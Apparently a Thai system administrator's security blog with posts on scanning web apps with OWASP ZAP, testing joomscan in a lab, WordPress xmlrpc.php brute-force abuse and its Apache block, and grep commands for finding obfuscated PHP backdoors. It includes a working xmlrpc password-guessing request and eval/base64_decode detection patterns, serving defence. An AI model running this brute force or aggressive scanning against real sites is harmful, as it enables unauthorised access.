      2559-10-17-09_27_04
    2. เลือก No, I do not want to persist this session at this moment in time แล้วคลิก Start (ยังไม่ต้องใช้ในตอนนี้)
      2559-10-17-09_36_10-program-manager
    3. ในช่อง URL to attack ใส่ URL ของ Web Application ที่ต้องการทดสอบ แล้วคลิก Attack
      2559-10-17-09_40_10-program-manager
    4. ระบบจะทำการ Spider และ Active Scan ตามลำดับ ผลที่ได้ “ในเบื้องต้น” ก็จะแค่แสดงในส่วนของ Alerts ทั่วไปเกี่ยวกับการตั้งค่าที่อาจจะไม่เหมาะสม เช่น X-Frame-Options Header ไม่ได้ตั้งค่าไว้, มีการใช้ Private IP, ไม่ได้ป้องกัน XSS และอื่นๆเป็นต้น
      2559-10-17-09_42_55-kali-running-oracle-vm-virtualbox
    5. เนื่องจากเครื่องที่ทำการทดสอบนี้ จริงๆแล้ว มี Directory ย่อยๆ ลงไปอีกมากมาย ที่ไม่ได้ชี้ Link ไปจาก index.php ในหน้าแรกของ Web Site วิธีการที่จะให้ OWASP ZAP กวาดไฟล์เดอร์ย่อยๆออกมา ใช้คลิกขวาที่ Sites ที่ต้องการ แล้ว Attack > Forced Browse site จากนั้นจะปรากฏ Forced Browse Tab ขึ้นมา ให้เลือก directory-list-1.0.txt ซึ่งจะทำการ Brute Force ชื่อ Directory ที่เค้าไปเก็บรวบรวมมา
      2559-10-17-10_05_43-kali-running-oracle-vm-virtualbox
    6. จากนั้น ทำการ Attack ด้วย Spider อีกครั้ง
      2559-10-17-11_06_51-kali-running-oracle-vm-virtualbox
    7. จากนั้น ทำการ Attack ด้วย Active Scan อีกครั้ง
      2559-10-17-10_10_24-kali-running-oracle-vm-virtualbox
    8. แต่ให้ตั้งค่าใน Policy Tab ดังภาพ เพื่อให้ Threshold เป็น High และ Strength เป็น Insane (จะอธิบายละเอียดอีกครั้งในบทความต่อไป) คลิก Go ทั้ง 2 บรรทัด แล้วคลิก Start Scan
      2559-10-17-11_08_46-kali-running-oracle-vm-virtualbox
    9. ดูผลการ Scan ได้ที่ Alerts Tab ดังตัวอย่างพบว่ามีช่องโหว่สำคัญคือ Cross Site Scripting (Reflected), Path Traversal และ Remote File Inclusion โดยบอกวิธีการ Attack ที่ใช้ในการทดสอบ และวิธีการแก้ไขพร้อม
      2559-10-17-11_11_17-program-manager 2559-10-17-11_11_44-program-manager 2559-10-17-11_12_19-program-manager

    จะกลับมาอภิปราย และอธิบายรายละเอียดอีกครั้งในบทความต่อไป

    References:

    https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    https://github.com/zaproxy/zap-core-help/wiki

    https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project

  • อย่าเชื่อ Tools จนเกินไป : กรณี joomscan

    ได้ยินหลายคนพูดถึงการใช้งานตรวจสอบ Website โดยเฉพาะ Joomla โดยใช้เครื่องมือที่ชื่อว่า joomscan

    ก็เลยลองติดตั้ง และ ทำการทดสอบกับ Web Server ใน VirtualBox ที่มีช่องโหว่ JCE ที่เจาะได้แน่ๆ เพื่อดูว่าเครื่องมือนี้ทำงานอย่างไร

    2559-10-12-11_14_13-desktop-running-oracle-vm-virtualbox

     

    ทำการโจมตีจาก Kali Linux ไปยังเครื่องเป้าหมาย ด้วย joomscan

    2559-10-12-11_15_33-start

     

    รายงานผลแจ้งว่า joomscan มีการ Update ล่าสุด เมื่อ Oct 22, 2012 นั่นคือเมื่อ 4 ปีที่แล้ว

    2559-10-12-11_06_50-start

    รายผลที่แจ้งช่องโหว่ ที่เจาะได้ มีดังนี้

    2559-10-12-16_46_50-clipboard

    แสดงให้เห็นว่า ด้วย Tools ตัวเดียวอาจจะไม่สามารถมั่นใจได้ว่า ระบบของเราปลอดภัยหรือไม่

    ฝากไว้พิจารณาครับ

     

     

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #18

    ได้รับแจ้งจาก ThaiCERT ว่ามีเว็บไซต์ภายในโดเมนของมหาวิทยาลัย เผยแพร่ Code อันตราย ดังต่อไปนี้
    2559-08-01 14_13_24-[THAICERT.OR.TH #93507] แจ้งปัญหา พบโปรแกรมหรือซอร์สโค้ดที่ต้องสงสัยบนโดเมน psu.
    จึงเข้าทำการตรวจสอบในเครื่องเว็บเซิร์ฟเวอร์ดังกล่าว พบการวางไฟล์ Backdoor ไว้ดังที่อธิบายใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17 แล้ว

    แต่ที่เห็นผิดปรกติ ก็เป็นใน access.log ของ Apache ซึ่งพบว่า มีการเรียกใช้ xmlrpc.php เป็นจำนวนมาก ดังภาพ

    13838385_1246527315359434_1464114410_o

    จากการตรวจสอบ พบว่า xmlrpc.php เป็นช่องทางให้สามารถเรียกใช้ Function ต่างๆผ่านทาง HTTP และเป็นช่องทางให้ App ต่างๆสามารถติดต่อกับ WordPress ได้ แต่ก็เป็นช่องทางให้เกิดการเดารหัสผ่านจำนวนมากได้เช่นกัน (Brute Force Attack) โดยสามารถทดลอง ส่ง XML ที่มีโครงสร้าตามที่ API กำหนด เช่น wp.getUsersBlogs [1][2][3] สามารถดูจำนวน Blog ที่ User คนนั้นๆเขียนขึ้นมา แต่ ต้องระบุ username/password ซึ่งตรงนี้จะเป็นส่วนที่ทำให้เกิดการ Brute Force ได้ ด้วยคำสั่งต่อไปนี้ เป็นการเดารหัสผ่านไปยัง http://localhost/blog/xmlrpc.php


    echo "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value> <string>admin</string></value></param>  <param><value><string>password</string></value></param></params></methodCall>" | POST http://localhost/blog/xmlrpc.php

    หากสำเร็จ จะได้คำตอบมาอย่างนี้

    2559-08-01 15_14_21-Clipboard

    หากเป็น WordPress รุ่นต่ำกว่า 4.0 เปิดให้ใช้ system.multicall ซึ่งทำให้สามารถเดารหัสผ่านจำนวนมาก ใน 1 Request ทำให้ระบบตรวจจับได้ยาก ดังนั้น หากไม่จำเป็นต้องใช้ xmlrpc.php ก็สมควรปิดการใช้งานที่ระดับ Apache โดยสร้างไฟล์ /etc/apache2/conf-enabled/xmlrpc.conf มีข้อมูลเป็น


    <FileMatch "xmlrpc\.php$">
    Order Deny,Allow
    Deny from All
    </FileMatch>

    จากนั้น Restart Apache ก็สามารถปิดการทำงานได้
    Reference
    [1] http://www.hackingsec.in/2014/08/wordpress-xml-rpc-brute-force-attack.html#
    [2] http://blog.dewhurstsecurity.com/2012/12/11/introduction-to-the-wordpress-xml-rpc-api.html
    [3] https://codex.wordpress.org/XML-RPC_WordPress_API

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17

    ปัจจุบันพบว่า รูปแบบของ Backdoor เปลี่ยนไป จากเดิมเป็น Base64 ซึ่งสามารถตรวจจับได้จาก Pattern ของ eval และ base64_decode ไปเป็น การใช้ eval ร่วมกับการใช้เทคนิคที่เรียกว่า Obfuscate หรือ การทำให้ PHP Code ปรกติ แปลงไปเป็นรูปแบบที่ซับซ้อนยิ่งขึ้น ทำให้การตรวจสอบด้วยเทคนิคเดิมไม่เจอ

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2 แสดงให้เห็นรูปแบบเดิม ดังภาพ

    sample1

    sample2

    sample3

    จะเปลี่ยนมาเป็นแบบนี้

    2559-07-29 14_29_00-

    ดังนั้น อาจจะต้องปรับเปลี่ยนคำสั่งในการค้นหาเป็น


    find /var/www -name "*.php" -user www-data -type f | xargs grep GLOBAL

    แต่ก็พบว่า มีการซ่อน base64_decode ในรูปแบบนี้ก็มี

    2559-07-29 15_11_32-_new 5 - Notepad++ [Administrator]

    ถึงแม้จะเลี่ยงการใช้ base64_decode ตรงๆแต่ก็ยังต้องใช้ eval อยู่ดี ดังนั้น จึงต้องใช้คำสั่งต่อไปนี้ในการค้นหา


    find /var/www -name "*.php" -user www-data -type f | xargs grep eval > eval.txt

    ซึ่งอาจจะได้ไฟล์มาจำนวนมาก ทั้งทีใช่และไม่ใช่ Backdoor เก็บไว้ในไฟล์ eval.txt ดังภาพ

    2559-07-29 15_21_31-_new 6 - Notepad++ [Administrator]

    จึงต้องใช้วิธี แก้ไขไฟล์ eval.txt ดังกล่าว โดยลบบรรทัดที่ไม่ใช่ Backdoor ออก ให้เหลือแต่บรรทัดที่น่าสงสัยว่าจะเป็น Backdoor ไว้ แล้ว Save จากนั้นใช้คำสั่งต่อไปนี้เพื่อเก็บไฟล์ทั้งหมดไว้ก่อน ในไฟล์ suspect.tar.gz


    cut -d: -f1 eval.txt | xargs tar -zcvf suspect.tar.gz

    จากนั้น ทำ List ของไฟล์ที่ต้องเข้าตรวจสอบจริงๆ เก็บในไฟล์ชื่อ eval2.txt ด้วยคำสั่ง


    cut -d: -f1 eval.txt > eval2.txt

    แล้วจึงแก้ไขไฟล์ หรือ ลบทิ้งต่อไป